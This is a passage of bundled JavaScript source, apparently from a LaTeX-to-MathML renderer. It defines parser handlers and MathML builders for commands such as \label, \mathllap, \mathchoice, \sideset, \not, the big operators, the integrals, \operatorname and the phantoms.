9143const invalidIdRegEx = /[^A-Za-z_0-9-]/g;
9144
9145defineFunction({
9146 type: "label",
9147 names: ["\\label"],
9148 props: {
9149 numArgs: 1,
9150 argTypes: ["raw"]
9151 },
9152 handler({ parser }, args) {
9153 return {
9154 type: "label",
9155 mode: parser.mode,
9156 string: args[0].string.replace(invalidIdRegEx, "")
9157 };
9158 },
9159 mathmlBuilder(group, style) {
9160 // Return a no-width, no-ink element with an HTML id.
9161 const node = new mathMLTree.MathNode("mrow", [], ["tml-label"]);
9162 if (group.string.length > 0) {
9163 node.setLabel(group.string);
9164 }
9165 return node
9166 }
9167});
9168
9169// Horizontal overlap functions
9170
9171const textModeLap = ["\\clap", "\\llap", "\\rlap"];
9172
9173defineFunction({
9174 type: "lap",
9175 names: ["\\mathllap", "\\mathrlap", "\\mathclap", "\\clap", "\\llap", "\\rlap"],
9176 props: {
9177 numArgs: 1,
9178 allowedInText: true
9179 },
9180 handler: ({ parser, funcName, token }, args) => {
9181 if (textModeLap.includes(funcName)) {
9182 if (parser.settings.strict && parser.mode !== "text") {
9183 throw new ParseError(`{${funcName}} can be used only in text mode.
9184 Try \\math${funcName.slice(1)}`, token)
9185 }
9186 funcName = funcName.slice(1);
9187 } else {
9188 funcName = funcName.slice(5);
9189 }
9190 const body = args[0];
9191 return {
9192 type: "lap",
9193 mode: parser.mode,
9194 alignment: funcName,
9195 body
9196 }
9197 },
9198 mathmlBuilder: (group, style) => {
9199 // mathllap, mathrlap, mathclap
9200 let strut;
9201 if (group.alignment === "llap") {
9202 // We need an invisible strut with the same depth as the group.
9203 // We can't just read the depth, so we use \vphantom methods.
9204 const phantomInner = buildExpression(ordargument(group.body), style);
9205 const phantom = new mathMLTree.MathNode("mphantom", phantomInner);
9206 strut = new mathMLTree.MathNode("mpadded", [phantom]);
9207 strut.setAttribute("width", "0px");
9208 }
9209
9210 const inner = buildGroup$1(group.body, style);
9211 let node;
9212 if (group.alignment === "llap") {
9213 inner.style.position = "absolute";
9214 inner.style.right = "0";
9215 inner.style.bottom = `0`; // If we could have read the ink depth, it would go here.
9216 node = new mathMLTree.MathNode("mpadded", [strut, inner]);
9217 } else {
9218 node = new mathMLTree.MathNode("mpadded", [inner]);
9219 }
9220
9221 if (group.alignment === "rlap") {
9222 if (group.body.body.length > 0 && group.body.body[0].type === "genfrac") {
9223 // In Firefox, a <mpadded> squashes the 3/18em padding of a child \frac. Put it back.
9224 node.setAttribute("lspace", "0.16667em");
9225 }
9226 } else {
9227 const offset = group.alignment === "llap" ? "-1" : "-0.5";
9228 node.setAttribute("lspace", offset + "width");
9229 if (group.alignment === "llap") {
9230 node.style.position = "relative";
9231 } else {
9232 node.style.display = "flex";
9233 node.style.justifyContent = "center";
9234 }
9235 }
9236 node.setAttribute("width", "0px");
9237 return node
9238 }
9239});
9240
9241// Switching from text mode back to math mode
9242defineFunction({
9243 type: "ordgroup",
9244 names: ["\\(", "$"],
9245 props: {
9246 numArgs: 0,
9247 allowedInText: true,
9248 allowedInMath: false
9249 },
9250 handler({ funcName, parser }, args) {
9251 const outerMode = parser.mode;
9252 parser.switchMode("math");
9253 const close = funcName === "\\(" ? "\\)" : "$";
9254 const body = parser.parseExpression(false, close);
9255 parser.expect(close);
9256 parser.switchMode(outerMode);
9257 return {
9258 type: "ordgroup",
9259 mode: parser.mode,
9260 body
9261 };
9262 }
9263});
9264
9265// Check for extra closing math delimiters
9266defineFunction({
9267 type: "text", // Doesn't matter what this is.
9268 names: ["\\)", "\\]"],
9269 props: {
9270 numArgs: 0,
9271 allowedInText: true,
9272 allowedInMath: false
9273 },
9274 handler(context, token) {
9275 throw new ParseError(`Mismatched ${context.funcName}`, token);
9276 }
9277});
9278
9279const chooseStyle = (group, style) => {
9280 switch (style.level) {
9281 case StyleLevel.DISPLAY: // 0
9282 return group.display;
9283 case StyleLevel.TEXT: // 1
9284 return group.text;
9285 case StyleLevel.SCRIPT: // 2
9286 return group.script;
9287 case StyleLevel.SCRIPTSCRIPT: // 3
9288 return group.scriptscript;
9289 default:
9290 return group.text;
9291 }
9292};
9293
9294defineFunction({
9295 type: "mathchoice",
9296 names: ["\\mathchoice"],
9297 props: {
9298 numArgs: 4,
9299 primitive: true
9300 },
9301 handler: ({ parser }, args) => {
9302 return {
9303 type: "mathchoice",
9304 mode: parser.mode,
9305 display: ordargument(args[0]),
9306 text: ordargument(args[1]),
9307 script: ordargument(args[2]),
9308 scriptscript: ordargument(args[3])
9309 };
9310 },
9311 mathmlBuilder: (group, style) => {
9312 const body = chooseStyle(group, style);
9313 return buildExpressionRow(body, style);
9314 }
9315});
9316
9317const textAtomTypes = ["text", "textord", "mathord", "atom"];
9318
9319const padding = width => {
9320 const node = new mathMLTree.MathNode("mspace");
9321 node.setAttribute("width", width + "em");
9322 return node
9323};
9324
9325function mathmlBuilder$3(group, style) {
9326 let node;
9327 const inner = buildExpression(group.body, style);
9328
9329 if (group.mclass === "minner") {
9330 node = new mathMLTree.MathNode("mpadded", inner);
9331 } else if (group.mclass === "mord") {
9332 if (group.isCharacterBox || inner[0].type === "mathord") {
9333 node = inner[0];
9334 node.type = "mi";
9335 if (node.children.length === 1 && node.children[0].text && node.children[0].text === "∇") {
9336 node.setAttribute("mathvariant", "normal");
9337 }
9338 } else {
9339 node = new mathMLTree.MathNode("mi", inner);
9340 }
9341 } else {
9342 node = new mathMLTree.MathNode("mrow", inner);
9343 if (group.mustPromote) {
9344 node = inner[0];
9345 node.type = "mo";
9346 if (group.isCharacterBox && group.body[0].text && /[A-Za-z]/.test(group.body[0].text)) {
9347 node.setAttribute("mathvariant", "italic");
9348 }
9349 } else {
9350 node = new mathMLTree.MathNode("mrow", inner);
9351 }
9352
9353 // Set spacing based on what is the most likely adjacent atom type.
9354 // See TeXbook p170.
9355 const doSpacing = style.level < 2; // Operator spacing is zero inside a (sub|super)script.
9356 if (node.type === "mrow") {
9357 if (doSpacing ) {
9358 if (group.mclass === "mbin") {
9359 // medium space
9360 node.children.unshift(padding(0.2222));
9361 node.children.push(padding(0.2222));
9362 } else if (group.mclass === "mrel") {
9363 // thickspace
9364 node.children.unshift(padding(0.2778));
9365 node.children.push(padding(0.2778));
9366 } else if (group.mclass === "mpunct") {
9367 node.children.push(padding(0.1667));
9368 } else if (group.mclass === "minner") {
9369 node.children.unshift(padding(0.0556)); // 1 mu is the most likely option
9370 node.children.push(padding(0.0556));
9371 }
9372 }
9373 } else {
9374 if (group.mclass === "mbin") {
9375 // medium space
9376 node.attributes.lspace = (doSpacing ? "0.2222em" : "0");
9377 node.attributes.rspace = (doSpacing ? "0.2222em" : "0");
9378 } else if (group.mclass === "mrel") {
9379 // thickspace
9380 node.attributes.lspace = (doSpacing ? "0.2778em" : "0");
9381 node.attributes.rspace = (doSpacing ? "0.2778em" : "0");
9382 } else if (group.mclass === "mpunct") {
9383 node.attributes.lspace = "0em";
9384 node.attributes.rspace = (doSpacing ? "0.1667em" : "0");
9385 } else if (group.mclass === "mopen" || group.mclass === "mclose") {
9386 node.attributes.lspace = "0em";
9387 node.attributes.rspace = "0em";
9388 } else if (group.mclass === "minner" && doSpacing) {
9389 node.attributes.lspace = "0.0556em"; // 1 mu is the most likely option
9390 node.attributes.width = "+0.1111em";
9391 }
9392 }
9393
9394 if (!(group.mclass === "mopen" || group.mclass === "mclose")) {
9395 delete node.attributes.stretchy;
9396 delete node.attributes.form;
9397 }
9398 }
9399 return node;
9400}
9401
9402// Math class commands except \mathop
9403defineFunction({
9404 type: "mclass",
9405 names: [
9406 "\\mathord",
9407 "\\mathbin",
9408 "\\mathrel",
9409 "\\mathopen",
9410 "\\mathclose",
9411 "\\mathpunct",
9412 "\\mathinner"
9413 ],
9414 props: {
9415 numArgs: 1,
9416 primitive: true
9417 },
9418 handler({ parser, funcName }, args) {
9419 const body = args[0];
9420 const isCharacterBox = utils.isCharacterBox(body);
9421 // We should not wrap a <mo> around a <mi> or <mord>. That would be invalid MathML.
9422 // In that case, we instead promote the text contents of the body to the parent.
9423 let mustPromote = true;
9424 const mord = { type: "mathord", text: "", mode: parser.mode };
9425 const arr = (body.body) ? body.body : [body];
9426 for (const arg of arr) {
9427 if (textAtomTypes.includes(arg.type)) {
9428 if (symbols[parser.mode][arg.text]) {
9429 mord.text += symbols[parser.mode][arg.text].replace;
9430 } else if (arg.text) {
9431 mord.text += arg.text;
9432 } else if (arg.body) {
9433 arg.body.map(e => { mord.text += e.text; });
9434 }
9435 } else {
9436 mustPromote = false;
9437 break
9438 }
9439 }
9440 return {
9441 type: "mclass",
9442 mode: parser.mode,
9443 mclass: "m" + funcName.slice(5),
9444 body: ordargument(mustPromote ? mord : body),
9445 isCharacterBox,
9446 mustPromote
9447 };
9448 },
9449 mathmlBuilder: mathmlBuilder$3
9450});
9451
9452const binrelClass = (arg) => {
9453 // \binrel@ spacing varies with (bin|rel|ord) of the atom in the argument.
9454 // (by rendering separately and with {}s before and after, and measuring
9455 // the change in spacing). We'll do roughly the same by detecting the
9456 // atom type directly.
9457 const atom = arg.type === "ordgroup" && arg.body.length ? arg.body[0] : arg;
9458 if (atom.type === "atom" && (atom.family === "bin" || atom.family === "rel")) {
9459 return "m" + atom.family;
9460 } else {
9461 return "mord";
9462 }
9463};
9464
9465// \@binrel{x}{y} renders like y but as mbin/mrel/mord if x is mbin/mrel/mord.
9466// This is equivalent to \binrel@{x}\binrel@@{y} in AMSTeX.
9467defineFunction({
9468 type: "mclass",
9469 names: ["\\@binrel"],
9470 props: {
9471 numArgs: 2
9472 },
9473 handler({ parser }, args) {
9474 return {
9475 type: "mclass",
9476 mode: parser.mode,
9477 mclass: binrelClass(args[0]),
9478 body: ordargument(args[1]),
9479 isCharacterBox: utils.isCharacterBox(args[1])
9480 };
9481 }
9482});
9483
9484// Build a relation or stacked op by placing one symbol on top of another
9485defineFunction({
9486 type: "mclass",
9487 names: ["\\stackrel", "\\overset", "\\underset"],
9488 props: {
9489 numArgs: 2
9490 },
9491 handler({ parser, funcName }, args) {
9492 const baseArg = args[1];
9493 const shiftedArg = args[0];
9494
9495 const baseOp = {
9496 type: "op",
9497 mode: baseArg.mode,
9498 limits: true,
9499 alwaysHandleSupSub: true,
9500 parentIsSupSub: false,
9501 symbol: false,
9502 stack: true,
9503 suppressBaseShift: funcName !== "\\stackrel",
9504 body: ordargument(baseArg)
9505 };
9506
9507 return {
9508 type: "supsub",
9509 mode: shiftedArg.mode,
9510 base: baseOp,
9511 sup: funcName === "\\underset" ? null : shiftedArg,
9512 sub: funcName === "\\underset" ? shiftedArg : null
9513 };
9514 },
9515 mathmlBuilder: mathmlBuilder$3
9516});
9517
9518// Helper function
9519const buildGroup = (el, style, noneNode) => {
9520 if (!el) { return noneNode }
9521 const node = buildGroup$1(el, style);
9522 if (node.type === "mrow" && node.children.length === 0) { return noneNode }
9523 return node
9524};
9525
9526defineFunction({
9527 type: "multiscript",
9528 names: ["\\sideset", "\\pres@cript"], // See macros.js for \prescript
9529 props: {
9530 numArgs: 3
9531 },
9532 handler({ parser, funcName, token }, args) {
9533 if (args[2].body.length === 0) {
9534 throw new ParseError(funcName + `cannot parse an empty base.`)
9535 }
9536 const base = args[2].body[0];
9537 if (parser.settings.strict && funcName === "\\sideset" && !base.symbol) {
9538 throw new ParseError(`The base of \\sideset must be a big operator. Try \\prescript.`)
9539 }
9540
9541 if ((args[0].body.length > 0 && args[0].body[0].type !== "supsub") ||
9542 (args[1].body.length > 0 && args[1].body[0].type !== "supsub")) {
9543 throw new ParseError("\\sideset can parse only subscripts and " +
9544 "superscripts in its first two arguments", token)
9545 }
9546
9547 // The prescripts and postscripts come wrapped in a supsub.
9548 const prescripts = args[0].body.length > 0 ? args[0].body[0] : null;
9549 const postscripts = args[1].body.length > 0 ? args[1].body[0] : null;
9550
9551 if (!prescripts && !postscripts) {
9552 return base
9553 } else if (!prescripts) {
9554 // It's not a multi-script. Get a \textstyle supsub.
9555 return {
9556 type: "styling",
9557 mode: parser.mode,
9558 scriptLevel: "text",
9559 body: [{
9560 type: "supsub",
9561 mode: parser.mode,
9562 base,
9563 sup: postscripts.sup,
9564 sub: postscripts.sub
9565 }]
9566 }
9567 } else {
9568 return {
9569 type: "multiscript",
9570 mode: parser.mode,
9571 isSideset: funcName === "\\sideset",
9572 prescripts,
9573 postscripts,
9574 base
9575 }
9576 }
9577 },
9578 mathmlBuilder(group, style) {
9579 const base = buildGroup$1(group.base, style);
9580
9581 const prescriptsNode = new mathMLTree.MathNode("mprescripts");
9582 const noneNode = new mathMLTree.MathNode("none");
9583 let children = [];
9584
9585 const preSub = buildGroup(group.prescripts.sub, style, noneNode);
9586 const preSup = buildGroup(group.prescripts.sup, style, noneNode);
9587 if (group.isSideset) {
9588 // This seems silly, but LaTeX does this. Firefox ignores it, which does not make me sad.
9589 preSub.setAttribute("style", "text-align: left;");
9590 preSup.setAttribute("style", "text-align: left;");
9591 }
9592
9593 if (group.postscripts) {
9594 const postSub = buildGroup(group.postscripts.sub, style, noneNode);
9595 const postSup = buildGroup(group.postscripts.sup, style, noneNode);
9596 children = [base, postSub, postSup, prescriptsNode, preSub, preSup];
9597 } else {
9598 children = [base, prescriptsNode, preSub, preSup];
9599 }
9600
9601 return new mathMLTree.MathNode("mmultiscripts", children);
9602 }
9603});
9604
9605defineFunction({
9606 type: "not",
9607 names: ["\\not"],
9608 props: {
9609 numArgs: 1,
9610 primitive: true,
9611 allowedInText: false
9612 },
9613 handler({ parser }, args) {
9614 const isCharacterBox = utils.isCharacterBox(args[0]);
9615 let body;
9616 if (isCharacterBox) {
9617 body = ordargument(args[0]);
9618 if (body[0].text.charAt(0) === "\\") {
9619 body[0].text = symbols.math[body[0].text].replace;
9620 }
9621 // \u0338 is the Unicode Combining Long Solidus Overlay
9622 body[0].text = body[0].text.slice(0, 1) + "\u0338" + body[0].text.slice(1);
9623 } else {
9624 // When the argument is not a character box, TeX does an awkward, poorly placed overlay.
9625 // We'll do the same.
9626 const notNode = { type: "textord", mode: "math", text: "\u0338" };
9627 const kernNode = { type: "kern", mode: "math", dimension: { number: -0.6, unit: "em" } };
9628 body = [notNode, kernNode, args[0]];
9629 }
9630 return {
9631 type: "not",
9632 mode: parser.mode,
9633 body,
9634 isCharacterBox
9635 };
9636 },
9637 mathmlBuilder(group, style) {
9638 if (group.isCharacterBox) {
9639 const inner = buildExpression(group.body, style, true);
9640 return inner[0]
9641 } else {
9642 return buildExpressionRow(group.body, style)
9643 }
9644 }
9645});
9646
9647// Limits, symbols
9648
9649// Some helpers
9650
9651const ordAtomTypes = ["textord", "mathord", "atom"];
9652
9653// Most operators have a large successor symbol, but these don't.
9654const noSuccessor = ["\\smallint"];
9655
9656// Math operators (e.g. \sin) need a space between these types and themselves:
9657const ordTypes = ["textord", "mathord", "ordgroup", "close", "leftright", "font"];
9658
9659// NOTE: Unlike most `builders`s, this one handles not only "op", but also
9660// "supsub" since some of them (like \int) can affect super/subscripting.
9661
9662const setSpacing = node => {
9663 // The user wrote a \mathop{…} function. Change spacing from default to OP spacing.
9664 // The most likely spacing for an OP is a thin space per TeXbook p170.
9665 node.attributes.lspace = "0.1667em";
9666 node.attributes.rspace = "0.1667em";
9667};
9668
9669const mathmlBuilder$2 = (group, style) => {
9670 let node;
9671
9672 if (group.symbol) {
9673 // This is a symbol. Just add the symbol.
9674 node = new MathNode("mo", [makeText(group.name, group.mode)]);
9675 if (noSuccessor.includes(group.name)) {
9676 node.setAttribute("largeop", "false");
9677 } else {
9678 node.setAttribute("movablelimits", "false");
9679 }
9680 if (group.fromMathOp) { setSpacing(node); }
9681 } else if (group.body) {
9682 // This is an operator with children. Add them.
9683 node = new MathNode("mo", buildExpression(group.body, style));
9684 if (group.fromMathOp) { setSpacing(node); }
9685 } else {
9686 // This is a text operator. Add all of the characters from the operator's name.
9687 node = new MathNode("mi", [new TextNode(group.name.slice(1))]);
9688
9689 if (!group.parentIsSupSub) {
9690 // Append an invisible <mo>&ApplyFunction;</mo>.
9691 // ref: https://www.w3.org/TR/REC-MathML/chap3_2.html#sec3.2.4
9692 const operator = new MathNode("mo", [makeText("\u2061", "text")]);
9693 const row = [node, operator];
9694 // Set spacing
9695 if (group.needsLeadingSpace) {
9696 const lead = new MathNode("mspace");
9697 lead.setAttribute("width", "0.1667em"); // thin space.
9698 row.unshift(lead);
9699 }
9700 if (!group.isFollowedByDelimiter) {
9701 const trail = new MathNode("mspace");
9702 trail.setAttribute("width", "0.1667em"); // thin space.
9703 row.push(trail);
9704 }
9705 node = new MathNode("mrow", row);
9706 }
9707 }
9708
9709 return node;
9710};
9711
9712const singleCharBigOps = {
9713 "\u220F": "\\prod",
9714 "\u2210": "\\coprod",
9715 "\u2211": "\\sum",
9716 "\u22c0": "\\bigwedge",
9717 "\u22c1": "\\bigvee",
9718 "\u22c2": "\\bigcap",
9719 "\u22c3": "\\bigcup",
9720 "\u2a00": "\\bigodot",
9721 "\u2a01": "\\bigoplus",
9722 "\u2a02": "\\bigotimes",
9723 "\u2a04": "\\biguplus",
9724 "\u2a05": "\\bigsqcap",
9725 "\u2a06": "\\bigsqcup",
9726 "\u2a03": "\\bigcupdot",
9727 "\u2a07": "\\bigdoublevee",
9728 "\u2a08": "\\bigdoublewedge",
9729 "\u2a09": "\\bigtimes"
9730};
9731
9732defineFunction({
9733 type: "op",
9734 names: [
9735 "\\coprod",
9736 "\\bigvee",
9737 "\\bigwedge",
9738 "\\biguplus",
9739 "\\bigcupplus",
9740 "\\bigcupdot",
9741 "\\bigcap",
9742 "\\bigcup",
9743 "\\bigdoublevee",
9744 "\\bigdoublewedge",
9745 "\\intop",
9746 "\\prod",
9747 "\\sum",
9748 "\\bigotimes",
9749 "\\bigoplus",
9750 "\\bigodot",
9751 "\\bigsqcap",
9752 "\\bigsqcup",
9753 "\\bigtimes",
9754 "\\smallint",
9755 "\u220F",
9756 "\u2210",
9757 "\u2211",
9758 "\u22c0",
9759 "\u22c1",
9760 "\u22c2",
9761 "\u22c3",
9762 "\u2a00",
9763 "\u2a01",
9764 "\u2a02",
9765 "\u2a04",
9766 "\u2a06"
9767 ],
9768 props: {
9769 numArgs: 0
9770 },
9771 handler: ({ parser, funcName }, args) => {
9772 let fName = funcName;
9773 if (fName.length === 1) {
9774 fName = singleCharBigOps[fName];
9775 }
9776 return {
9777 type: "op",
9778 mode: parser.mode,
9779 limits: true,
9780 parentIsSupSub: false,
9781 symbol: true,
9782 stack: false, // This is true for \stackrel{}, not here.
9783 name: fName
9784 };
9785 },
9786 mathmlBuilder: mathmlBuilder$2
9787});
9788
9789// Note: calling defineFunction with a type that's already been defined only
9790// works because the same mathmlBuilder is being used.
9791defineFunction({
9792 type: "op",
9793 names: ["\\mathop"],
9794 props: {
9795 numArgs: 1,
9796 primitive: true
9797 },
9798 handler: ({ parser }, args) => {
9799 const body = args[0];
9800 // It would be convienient to just wrap a <mo> around the argument.
9801 // But if the argument is a <mi> or <mord>, that would be invalid MathML.
9802 // In that case, we instead promote the text contents of the body to the parent.
9803 const arr = (body.body) ? body.body : [body];
9804 const isSymbol = arr.length === 1 && ordAtomTypes.includes(arr[0].type);
9805 return {
9806 type: "op",
9807 mode: parser.mode,
9808 limits: true,
9809 parentIsSupSub: false,
9810 symbol: isSymbol,
9811 fromMathOp: true,
9812 stack: false,
9813 name: isSymbol ? arr[0].text : null,
9814 body: isSymbol ? null : ordargument(body)
9815 };
9816 },
9817 mathmlBuilder: mathmlBuilder$2
9818});
9819
9820// There are 2 flags for operators; whether they produce limits in
9821// displaystyle, and whether they are symbols and should grow in
9822// displaystyle. These four groups cover the four possible choices.
9823
9824const singleCharIntegrals = {
9825 "\u222b": "\\int",
9826 "\u222c": "\\iint",
9827 "\u222d": "\\iiint",
9828 "\u222e": "\\oint",
9829 "\u222f": "\\oiint",
9830 "\u2230": "\\oiiint",
9831 "\u2231": "\\intclockwise",
9832 "\u2232": "\\varointclockwise",
9833 "\u2a0c": "\\iiiint",
9834 "\u2a0d": "\\intbar",
9835 "\u2a0e": "\\intBar",
9836 "\u2a0f": "\\fint",
9837 "\u2a12": "\\rppolint",
9838 "\u2a13": "\\scpolint",
9839 "\u2a15": "\\pointint",
9840 "\u2a16": "\\sqint",
9841 "\u2a17": "\\intlarhk",
9842 "\u2a18": "\\intx",
9843 "\u2a19": "\\intcap",
9844 "\u2a1a": "\\intcup"
9845};
9846
9847// No limits, not symbols
9848defineFunction({
9849 type: "op",
9850 names: [
9851 "\\arcsin",
9852 "\\arccos",
9853 "\\arctan",
9854 "\\arctg",
9855 "\\arcctg",
9856 "\\arg",
9857 "\\ch",
9858 "\\cos",
9859 "\\cosec",
9860 "\\cosh",
9861 "\\cot",
9862 "\\cotg",
9863 "\\coth",
9864 "\\csc",
9865 "\\ctg",
9866 "\\cth",
9867 "\\deg",
9868 "\\dim",
9869 "\\exp",
9870 "\\hom",
9871 "\\ker",
9872 "\\lg",
9873 "\\ln",
9874 "\\log",
9875 "\\sec",
9876 "\\sin",
9877 "\\sinh",
9878 "\\sh",
9879 "\\sgn",
9880 "\\tan",
9881 "\\tanh",
9882 "\\tg",
9883 "\\th"
9884 ],
9885 props: {
9886 numArgs: 0
9887 },
9888 handler({ parser, funcName }) {
9889 const prevAtomType = parser.prevAtomType;
9890 const next = parser.gullet.future().text;
9891 return {
9892 type: "op",
9893 mode: parser.mode,
9894 limits: false,
9895 parentIsSupSub: false,
9896 symbol: false,
9897 stack: false,
9898 isFollowedByDelimiter: isDelimiter(next),
9899 needsLeadingSpace: prevAtomType.length > 0 && ordTypes.includes(prevAtomType),
9900 name: funcName
9901 };
9902 },
9903 mathmlBuilder: mathmlBuilder$2
9904});
9905
9906// Limits, not symbols
9907defineFunction({
9908 type: "op",
9909 names: ["\\det", "\\gcd", "\\inf", "\\lim", "\\max", "\\min", "\\Pr", "\\sup"],
9910 props: {
9911 numArgs: 0
9912 },
9913 handler({ parser, funcName }) {
9914 const prevAtomType = parser.prevAtomType;
9915 const next = parser.gullet.future().text;
9916 return {
9917 type: "op",
9918 mode: parser.mode,
9919 limits: true,
9920 parentIsSupSub: false,
9921 symbol: false,
9922 stack: false,
9923 isFollowedByDelimiter: isDelimiter(next),
9924 needsLeadingSpace: prevAtomType.length > 0 && ordTypes.includes(prevAtomType),
9925 name: funcName
9926 };
9927 },
9928 mathmlBuilder: mathmlBuilder$2
9929});
9930
9931// No limits, symbols
9932defineFunction({
9933 type: "op",
9934 names: [
9935 "\\int",
9936 "\\iint",
9937 "\\iiint",
9938 "\\iiiint",
9939 "\\oint",
9940 "\\oiint",
9941 "\\oiiint",
9942 "\\intclockwise",
9943 "\\varointclockwise",
9944 "\\intbar",
9945 "\\intBar",
9946 "\\fint",
9947 "\\rppolint",
9948 "\\scpolint",
9949 "\\pointint",
9950 "\\sqint",
9951 "\\intlarhk",
9952 "\\intx",
9953 "\\intcap",
9954 "\\intcup",
9955 "\u222b",
9956 "\u222c",
9957 "\u222d",
9958 "\u222e",
9959 "\u222f",
9960 "\u2230",
9961 "\u2231",
9962 "\u2232",
9963 "\u2a0c",
9964 "\u2a0d",
9965 "\u2a0e",
9966 "\u2a0f",
9967 "\u2a12",
9968 "\u2a13",
9969 "\u2a15",
9970 "\u2a16",
9971 "\u2a17",
9972 "\u2a18",
9973 "\u2a19",
9974 "\u2a1a"
9975 ],
9976 props: {
9977 numArgs: 0
9978 },
9979 handler({ parser, funcName }) {
9980 let fName = funcName;
9981 if (fName.length === 1) {
9982 fName = singleCharIntegrals[fName];
9983 }
9984 return {
9985 type: "op",
9986 mode: parser.mode,
9987 limits: false,
9988 parentIsSupSub: false,
9989 symbol: true,
9990 stack: false,
9991 name: fName
9992 };
9993 },
9994 mathmlBuilder: mathmlBuilder$2
9995});
9996
9997// NOTE: Unlike most builders, this one handles not only
9998// "operatorname", but also "supsub" since \operatorname* can
9999// affect super/subscripting.
10000
10001const mathmlBuilder$1 = (group, style) => {
10002 let expression = buildExpression(group.body, style.withFont("mathrm"));
10003
10004 // Is expression a string or has it something like a fraction?
10005 let isAllString = true; // default
10006 for (let i = 0; i < expression.length; i++) {
10007 let node = expression[i];
10008 if (node instanceof mathMLTree.MathNode) {
10009 if (node.type === "mrow" && node.children.length === 1 &&
10010 node.children[0] instanceof mathMLTree.MathNode) {
10011 node = node.children[0];
10012 }
10013 switch (node.type) {
10014 case "mi":
10015 case "mn":
10016 case "ms":
10017 case "mtext":
10018 break; // Do nothing yet.
10019 case "mspace":
10020 {
10021 if (node.attributes.width) {
10022 const width = node.attributes.width.replace("em", "");
10023 const ch = spaceCharacter(Number(width));
10024 if (ch === "") {
10025 isAllString = false;
10026 } else {
10027 expression[i] = new mathMLTree.MathNode("mtext", [new mathMLTree.TextNode(ch)]);
10028 }
10029 }
10030 }
10031 break
10032 case "mo": {
10033 const child = node.children[0];
10034 if (node.children.length === 1 && child instanceof mathMLTree.TextNode) {
10035 child.text = child.text.replace(/\u2212/, "-").replace(/\u2217/, "*");
10036 } else {
10037 isAllString = false;
10038 }
10039 break
10040 }
10041 default:
10042 isAllString = false;
10043 }
10044 } else {
10045 isAllString = false;
10046 }
10047 }
10048
10049 if (isAllString) {
10050 // Write a single TextNode instead of multiple nested tags.
10051 const word = expression.map((node) => node.toText()).join("");
10052 expression = [new mathMLTree.TextNode(word)];
10053 } else if (
10054 expression.length === 1
10055 && ["mover", "munder"].includes(expression[0].type) &&
10056 (expression[0].children[0].type === "mi" || expression[0].children[0].type === "mtext")
10057 ) {
10058 expression[0].children[0].type = "mi";
10059 if (group.parentIsSupSub) {
10060 return new mathMLTree.MathNode("mrow", expression)
10061 } else {
10062 const operator = new mathMLTree.MathNode("mo", [makeText("\u2061", "text")]);
10063 return mathMLTree.newDocumentFragment([expression[0], operator])
10064 }
10065 }
10066
10067 let wrapper;
10068 if (isAllString) {
10069 wrapper = new mathMLTree.MathNode("mi", expression);
10070 if (expression[0].text.length === 1) {
10071 wrapper.setAttribute("mathvariant", "normal");
10072 }
10073 } else {
10074 wrapper = new mathMLTree.MathNode("mrow", expression);
10075 }
10076
10077 if (!group.parentIsSupSub) {
10078 // Append an <mo>&ApplyFunction;</mo>.
10079 // ref: https://www.w3.org/TR/REC-MathML/chap3_2.html#sec3.2.4
10080 const operator = new mathMLTree.MathNode("mo", [makeText("\u2061", "text")]);
10081 const fragment = [wrapper, operator];
10082 if (group.needsLeadingSpace) {
10083 // LaTeX gives operator spacing, but a <mi> gets ord spacing.
10084 // So add a leading space.
10085 const space = new mathMLTree.MathNode("mspace");
10086 space.setAttribute("width", "0.1667em"); // thin space.
10087 fragment.unshift(space);
10088 }
10089 if (!group.isFollowedByDelimiter) {
10090 const trail = new mathMLTree.MathNode("mspace");
10091 trail.setAttribute("width", "0.1667em"); // thin space.
10092 fragment.push(trail);
10093 }
10094 return mathMLTree.newDocumentFragment(fragment)
10095 }
10096
10097 return wrapper
10098};
10099
10100// \operatorname
10101// amsopn.dtx: \mathop{#1\kern\z@\operator@font#3}\newmcodes@
10102defineFunction({
10103 type: "operatorname",
10104 names: ["\\operatorname@", "\\operatornamewithlimits"],
10105 props: {
10106 numArgs: 1,
10107 allowedInArgument: true
10108 },
10109 handler: ({ parser, funcName }, args) => {
10110 const body = args[0];
10111 const prevAtomType = parser.prevAtomType;
10112 const next = parser.gullet.future().text;
10113 return {
10114 type: "operatorname",
10115 mode: parser.mode,
10116 body: ordargument(body),
10117 alwaysHandleSupSub: (funcName === "\\operatornamewithlimits"),
10118 limits: false,
10119 parentIsSupSub: false,
10120 isFollowedByDelimiter: isDelimiter(next),
10121 needsLeadingSpace: prevAtomType.length > 0 && ordTypes.includes(prevAtomType)
10122 };
10123 },
10124 mathmlBuilder: mathmlBuilder$1
10125});
10126
10127defineMacro("\\operatorname",
10128 "\\@ifstar\\operatornamewithlimits\\operatorname@");
10129
10130defineFunctionBuilders({
10131 type: "ordgroup",
10132 mathmlBuilder(group, style) {
10133 return buildExpressionRow(group.body, style, group.semisimple);
10134 }
10135});
10136
10137defineFunction({
10138 type: "phantom",
10139 names: ["\\phantom"],
10140 props: {
10141 numArgs: 1,
10142 allowedInText: true
10143 },
10144 handler: ({ parser }, args) => {
10145 const body = args[0];
10146 return {
10147 type: "phantom",
10148 mode: parser.mode,
10149 body: ordargument(body)
10150 };
10151 },
10152 mathmlBuilder: (group, style) => {
10153 const inner = buildExpression(group.body, style);
10154 return new mathMLTree.MathNode("mphantom", inner);
10155 }
10156});
10157
10158defineFunction({
10159 type: "hphantom",
10160 names: ["\\hphantom"],
10161 props: {
10162 numArgs: 1,
10163 allowedInText: true
10164 },
10165 handler: ({ parser }, args) => {
10166 const body = args[0];
10167 return {
10168 type: "hphantom",
10169 mode: parser.mode,
10170 body
10171 };
10172 },
10173 mathmlBuilder: (group, style) => {
10174 const inner = buildExpression(ordargument(group.body), style);
10175 const phantom = new mathMLTree.MathNode("mphantom", inner);
10176 const node = new mathMLTree.MathNode("mpadded", [phantom]);
10177 node.setAttribute("height", "0px");
10178 node.setAttribute("depth", "0px");
10179 return node;
10180 }
10181});
10182
10183defineFunction({
10184 type: "vphantom",
10185 names: ["\\vphantom"],
10186 props: {
10187 numArgs: 1,
10188 allowedInText: true
10189 },
10190 handler: ({ parser }, args) => {
10191 const body = args[0];
10192 return {
10193 type: "vphantom",
10194 mode: parser.mode,
10195 body
10196 };
10197 },
10198 mathmlBuilder: (group, style) => {
10199 const inner = buildExpression(ordargument(group.body), style);
10200 const phantom = new mathMLTree.MathNode("mphantom", inner);
10201 const node = new mathMLTree.MathNode("mpadded", [phantom]);
10202 node.setAttribute("width", "0px");
10203 return node;
10204 }
10205});
10206
10207// In LaTeX, \pmb is a simulation of bold font.
